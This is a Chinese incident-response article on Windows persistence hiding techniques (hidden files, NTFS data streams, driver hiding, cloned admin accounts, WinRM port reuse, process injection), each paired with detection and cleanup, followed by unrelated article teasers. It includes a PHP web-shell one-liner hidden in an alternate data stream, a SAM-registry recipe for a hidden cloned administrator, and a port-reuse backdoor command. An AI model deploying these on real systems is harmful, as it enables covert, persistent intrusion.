应急响应实战笔记03权限维持篇(1)

第1篇:Windows权限维持--隐藏篇

0x00 前言

攻击者在获取服务器权限后,通常会用一些后门来维持权限,如果你想让你的后门保持的更久些,那么请隐藏好它,使之不易被管理员发现。

0x01 隐藏文件

1、利用文件属性

最简单的一种隐藏文件的方式,文件右键属性,勾选隐藏,点击确定后,在这个文件里看不到刚刚的文件了。

如果要让文件显示出来,就点击查看,勾选显示隐藏的文件,文件就显示出来。

如何真正隐藏文件?

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。

attrib +s +a +h +r D:\test\project\test.txt

这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见。

破解隐藏文件:

打开电脑文件夹选项卡,取消”隐藏受保护的操作系统文件“勾选,把”隐藏文件和文件夹“下面的单选选择“显示隐藏的文件、文件夹和驱动器”。

2、利用ADS隐藏文件内容

​ 在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:

echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。

问题1:如何查看index.php:hidden.jpg内容呢?

    进入文件所在目录,notepad index.php:hidden.jpg    或者 dir /r
    
问题2:如何删除index.php:hidden.jpg?

     直接删除index.php即可

3、驱动级文件隐藏

驱动隐藏我们可以用过一些软件来实现,软件名字叫:Easy File Locker

下载链接: http://www.xoslab.com/efl.html

如果你在网站目录未查找到相关文件,且系统目录存在存在以下文件:

c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys

那么你,应该是遭遇了驱动级文件隐藏。

如何清除?

1、查询服务状态: sc qc xlkfs
2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
3、删除服务: sc delete xlkfs
4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。

隐藏文件的方式还有很多,比如伪装成一个系统文件夹图标,利用畸形文件名、保留文件名无法删除,甚至取一个与系统文件很像的文件名并放在正常目录里面,很难辨别出来。

这些隐藏文件的方式早已不再是秘密,而更多的恶意程序开始实现“无文件”攻击,这种方式极难被发现。

0x02 隐藏账号

window 隐藏系统用户操作,CMD命令行下,建立了一个用户名为“test$”,密码为“abc123!”的简单隐藏账户,并且把该隐藏账户提升为了管理员权限。

PS:CMD命令行使用"net user",看不到"test$"这个账号,但在控制面板和本地用户和组是可以显示此用户的。

克隆账号制作过程:

1、“开始”→“运行”,输入“regedt32.exe”后回车,需要到“HKEY_LOCAL_MACHINE\SAM\SAM”,单机右建权限,把名叫:administrator的用户给予:完全控制以及读取的权限,在后面打勾就行,然后关闭注册表编辑器,再次打开即可。

2、来到注册表编辑器的“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”处,点击test$用户,得到在右边显示的键值中的“类型”一项显示为0x3ec,找到箭头所指目录。

3、找到administrator所对应的的项为“000001F4”,将“000001F4”的F值复制到“000003EC”的F值中,保存。

4、分别test和“000003EC导出到桌面,删除test用户 net user test$ /del

5、将刚才导出的两个后缀为.reg的注册表项导入注册表中。这样所谓的隐藏账户就创建好了。PS:不管你是在命令提示符下输入net user 或者在系统用户管理界面都是看不到test$这个账户的,只有在注册表中才能看得到。

检测和清理方法:

使用D盾_web查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号。

0x03 端口复用

通过端口复用来达到隐藏端口的目的,在Window下,如何实现端口复用呢?

前阵子,@Twi1ight公布了一种基于内置系统服务的端口复用后门方法,利用WinRM服务,一条命令实现端口复用后门:

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

一般开启WinRM服务作为远程管理,但还是第一次听到可以作为端口复用,一种简单容易实现的端口复用方式。假设,攻击者已获取到administrator账号密码,连接远程WinRM服务执行命令:

当执行这条命令的同时,将在安全日志中留下痕迹,

另外,可以通过代码实现端口复用重定向,工具:GitHub - crabkun/switcher: 一个多功能的端口转发/端口复用工具,支持转发本地或远程地址的端口,支持正则表达式转发(实现端口复用)。

0x04 进程注入

进程注入,一直是病毒木马的惯用手段,同时,它也是一种隐藏技术。在常见的渗透测试框架中,进程注入是怎么做的以及我们如何通过工具排查出来?

1、meterpreter会话注入

当前权限无法获取hash值,查看目前系统进程

通过migrate将进程注入到system进程后,成功获得hash值。

Window后门排查:

通过TCPview显示已建立的TCP连接,我们可以看到异常的连接,同时,恶意软件将以绿色显示不到一秒钟,然后变成红色消失,如此循环。

2、Empire会话进程注入

通过psinject模块进行会话注入,直接输入ps选择一个SYSTEM权限的进程PID,使用进程注入模块,来获取权限。如下图:

Window后门排查:利用process monitor或者火绒剑监控进程都可以定位到注入进程。

3、Cobalt Strike进程注入

选择进程,点击inject,随后选择监听器,点击choose,即可发现Cobaltstrike弹回了目标机的一个新会话,这个会话就是成功注入到某进程的beacon。

Window后门排查:利用process monitor捕捉通信过程,有规律的请求取决于sleep设置的间隔。

0x05 结束

本文主要介绍了Window下的几种隐藏技术,包括隐藏文件、隐藏账号、端口复用、进程注入等方面的简单实现及其排查技巧。仅作抛砖引玉之用,欢迎留言分享。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/397211.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C++右值引用和移动语义

C右值引用和移动语义 在C中&#xff0c;我们经常会遇到左值和右值的概念。左值是可以获取地址的表达式&#xff0c;只要是一个变量&#xff0c;那他就一定是个左值。而右值则是临时的&#xff0c;不能赋值&#xff0c;也没有持久的内存地址。 int&& a 10; //a是右指…

前端首屏、白屏与卡顿性能优化?你想要的都在这里!

您好&#xff0c; 如果喜欢我的文章或者想上岸大厂&#xff0c;可以关注公众号「量子前端」&#xff0c;将不定期关注推送前端好文、分享就业资料秘籍&#xff0c;也希望有机会一对一帮助你实现梦想 首屏秒开 首屏秒开主要可以分为 4 个方法——懒加载&#xff0c;缓存&#…

备战蓝桥杯---动态规划(入门3之子串问题)

本专题再介绍几种经典的字串问题。 这是一个两个不重叠字串和的问题&#xff0c;我们只要去枚举分界点c即可&#xff0c;我们不妨让c作为右区间的左边界&#xff0c;然后求[1,c)上的单个字串和并用max数组维护。对于右边&#xff0c;我们只要反向求单个字串和然后选左边界为c的…

day03-股票数据报表与导出

day03-股票数据表报与导出 目标 理解涨幅榜业务需求;理解涨停跌停概念&#xff0c;并涨停跌停基本实现;理解涨停跌停SQL分析流程&#xff0c;并根据接口文档自定义实现;理解echarts基本使用;掌握easyExcel基本使用,并实现涨幅榜数据导出功能; 第一章 股票涨幅统计 1、涨幅榜…

获取 OpenAI Sora 访问权限:立即申请!

OpenAI的Sora是一种尖端的文本到视频的人工智能模型&#xff0c;它能够根据文本描述创建高清、详细的视频&#xff0c;这让人相当兴奋。这项技术代表了人工智能驱动的内容创作的重大飞跃&#xff0c;通过实现更动态、更吸引人的故事讲述和信息共享&#xff0c;为各个行业带来了…

Linux下多核CPU指定程序运行的核

设置程序在指定CPU核心运行 一、如何查看程序运行的CPU信息 1.1 查看当前系统CPU有几个核心 查看CPU核心数量&#xff1a;lscpu 1.2 查看程序的PID ps aux|grep cpu_test1.3 查看程序可运行的CPU taskset -c -p pid1.4 设置程序在指定核心上运行 1.4.1 通过运行时的参数设…

Linux系统——http协议介绍

目录 引言——Internet起源 一、http协议——超文本传输协议 1.http相关概念 2.访问浏览器的过程 3.http协议通信过程 4.http相关技术 4.1WEB开发语言 4.2html 4.3CSS 4.4JS 5.MIME——Multipurpose Internet Mail Extensions 多用途互联网邮件扩展 6.URI URN URL的…

【CentOS】Linux 文件与目录管理

目录 1、目录的切换、新增和删除 &#xff08;1&#xff09;cd (change directory&#xff0c;切换目录) &#xff08;2&#xff09;pwd (显示目前所在的目录) &#xff08;3&#xff09;mkdir (make directory&#xff0c;建立新目录 ) &#xff08;4&#xff09;rmdir (…

leetcode:494.目标和

解题思路&#xff1a;1.因为每个数字都有正负两种选择&#xff0c;所以可以采用回溯算法。&#xff08;会超时&#xff09; 2.分成两个集合&#xff0c;分别为正数集合&#xff08;left&#xff09;和负数&#xff08;right&#xff09;集合。 left right Sum ---> righ…

阿里云服务器操作系统有哪些?如何选择?

阿里云服务器镜像怎么选择&#xff1f;云服务器操作系统镜像分为Linux和Windows两大类&#xff0c;Linux可以选择Alibaba Cloud Linux&#xff0c;Windows可以选择Windows Server 2022数据中心版64位中文版&#xff0c;阿里云服务器网aliyunfuwuqi.com来详细说下阿里云服务器操…

力扣OJ题——相交链表

题目&#xff1a;160. 相交链表 给你两个单链表的头节点 headA 和 headB &#xff0c;请你找出并返回两个单链表相交的起始节点。如果两个链表不存在相交节点&#xff0c;返回 null 思路一&#xff08;暴力求解&#xff09;&#xff1a; A链表的每个节点依次跟B链表中节点进行…

芯课堂 | 华芯微特系列芯片CAN中断配置

​今天小编给大家带来的是华芯微特全系列芯片如何配置CAN中断模块的详细介绍&#xff0c;包括CAN各自中断以及错误处理方式&#xff0c;大家一起来看看吧。 Part 1&#xff1a;CANRX中断 CAN接受和发送模块各有64位深的FIFO用于缓存&#xff0c;如果像上图一样打开了RX非空中断…

java面试题之redis篇

1.redis 中的数据类型有哪些 随着 Redis 版本的更新&#xff0c;后面又支持了四种数据类型&#xff1a; BitMap&#xff08;2.2 版新增&#xff09;、HyperLogLog&#xff08;2.8 版新增&#xff09;、GEO&#xff08;3.2 版新增&#xff09;、Stream&#xff08;5.0 版新增&am…

C#||应用框体设计计算器

题目&#xff1a; 设计一个简单计算器 思路&#xff1a; 首先在应用框体中设计自己喜欢的计算器格式&#xff0c;接着编辑其中的函数。抽取一个Call函数用来显示从键盘输入的数字&#xff0c;cleanall()函数进行清屏操作&#xff0c;mode&#xff08;&#xff09;函数进行四…

Android EditText关于imeOptions的设置和响应

日常开发中&#xff0c;最绕不开的一个控件就是EditText&#xff0c;随之避免不了的则是对其软键盘事件的监听&#xff0c;随着需求的不同对用户输入的软键盘要求也不同&#xff0c;有的场景需要用户输入完毕后&#xff0c;有一个确认按钮&#xff0c;有的场景需要的是回车&…

ChatGPT如何提供实用且高质量的建议和指导,提高编程效率和准确性

ChatGPT4.0的功能包括&#xff1a; 无限制ChatGPT模型使用 GPT-4模型使用 GPT-4图像分析功能 GPT-4联网功能 GPT-4高级数据分析功能 GPT-4高级插件功能 DALLE-3高级AI绘图功能 如何能高效地处理文本、文献查阅、PPT编辑、编程、绘图和论文写作已经成为您成功的关键。而 …

代码随想录算法训练营第二十三天|669. 修剪二叉搜索树、108.将有序数组转换为二叉搜索树、538.把二叉搜索树转换为累加树

669. 修剪二叉搜索树 刷题https://leetcode.cn/problems/trim-a-binary-search-tree/description/文章讲解https://programmercarl.com/0669.%E4%BF%AE%E5%89%AA%E4%BA%8C%E5%8F%89%E6%90%9C%E7%B4%A2%E6%A0%91.html视频讲解https://www.bilibili.com/video/BV17P41177ud/?sh…

【Java EE初阶十五】网络编程TCP/IP协议(二)

1. 关于TCP 1.1 TCP 的socket api tcp的socket api和U大片的socket api差异很大&#xff0c;但是和前面所讲的文件操作很密切的联系 下面主要讲解两个关键的类&#xff1a; 1、ServerSocket&#xff1a;给服务器使用的类&#xff0c;使用这个类来绑定端口号 2、Socket&#xf…

【高阶数据结构】B+树

文章目录 1. B树的概念2. B树的查找3. B-树 VS B树4. B 树的插入分析 1. B树的概念 B树是B树的变形&#xff0c;是在B树基础上优化的多路平衡搜索树&#xff0c;B树的规则跟B树基本类似&#xff0c;但是又在B树的基础上做了一些改进优化。 一棵m阶的B树需满足下列条件&#x…

Vue+OpenLayers7入门到实战:OpenLayers加载船讯网航海地图瓦片到地图上

返回《Vue+OpenLayers7》专栏目录:Vue+OpenLayers7 前言 本章介绍如何使用OpenLayers7在地图上加载船讯网航海地图瓦片到地图上的功能。 适用于海运等海洋相关行业使用。 二、依赖和使用 "ol": "7.5.2"使用npm安装依赖npm install ol@7.5.2使用Yarn安装…